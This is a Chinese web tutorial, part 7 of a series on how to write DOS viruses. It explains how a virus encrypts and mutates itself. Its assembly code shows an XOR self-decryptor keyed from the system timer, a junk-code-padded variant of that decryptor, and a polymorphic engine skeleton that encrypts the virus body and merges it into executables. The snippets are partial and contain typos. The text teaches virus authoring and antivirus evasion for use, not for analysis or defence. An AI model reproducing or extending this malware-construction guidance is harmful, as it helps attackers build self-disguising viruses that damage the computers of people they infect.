dos环境下的病毒,如何编制DOS下的病毒(7)

如何编制DOS下的病毒(7) - 电脑安全 - 电脑教程网

如何编制DOS下的病毒(7)

日期:2006-07-15   荐:
  如何编制DOS下的病毒 前面介绍了病毒的感染等方法,那么病毒是如何实现变形和加密的呢?病毒由无加密到简单加密发展到变形病毒. 早期的简单加密病毒工作范例如下: @entry:      call @1 @1:   pop bp      lea di,[bp @3-@1] @2:   xor byte ptr cs:[di],0 @key  = $-1      inc di      loop @2 @3:   ...       ;病毒的主要代码

@4:           ;这里假设,es:di指向用于储存加密后代码的缓冲区      mov cx,@end-@entry      lea si,[bp @entry-@1]      push ds      push cs      pop ds      in al,41h      mov byte ptr [@key],al     ;可将由41h端口读入的timer作为key      rep movsb      lea si,[di @3-entry]      mov cx,@end-entry @5:   xor byte ptr es:[si],al      inc si      loop @5      ... @end:    用一个简单的xor操作,以timer值作为KEY对代码进行加密.由此病毒的主体可能有256种变化,用一个更长的KEY可以得到更多的变化.但是用于解密的代码却是不变的,这是简单加密病毒的弱点.    看看以下这个稍作修改的例子: @entry:      call @1 @1:   mov ax,12h      pop bp      sub ax,cx      lea di,[bp @3-@1] @2:   add ax,bx      xor bype ptr cs:[di],0 @key  =$-1      jnz $ 2      inc di      mov ax,[12h]      loop @2 @3:      ...    它和上面的例子功能是一样的,但看上去却是不同的代码.这就是变形病毒的关键:产生一些无用的代码夹在解密的代码中,使得每次的解密代码看上去是不一样的.    选择垃圾代码的原则:1.不会破坏有用的REGISTER;2.不改变MEMORY的内容; 3.解密代码要用FLAGS时也不能改变FLAGS.上面的例子中只需遵循1,2.    一个由普通病毒改为变形病毒的例子如下: VirusEntry:    ... infect:    .286c    push offset VirusEntry    push offset buffer    call Encrypt  ;encrypt virus to buffer    ...      ;merge buffer to executable file Encrypt proc near decrypt:db sizeof(call $ 5),rawcode(call $ 5)  ;定义如下,      db sizeof(pop bp),rawcode(pop bp)    ;一条代码的长度                          ;代码的机器码      ...      db 0      ;repeat      ;generate junk code and write buffer      ;wirte one decrypt code to buffer      ;untile all decrypt code has been written      ;encrypt virus and wirte buffer      ret      endp    一个变形引擎可以用于任何病毒源码,使它成为一个变形病毒.这就是变形引擎的工作原理. (完)

标签: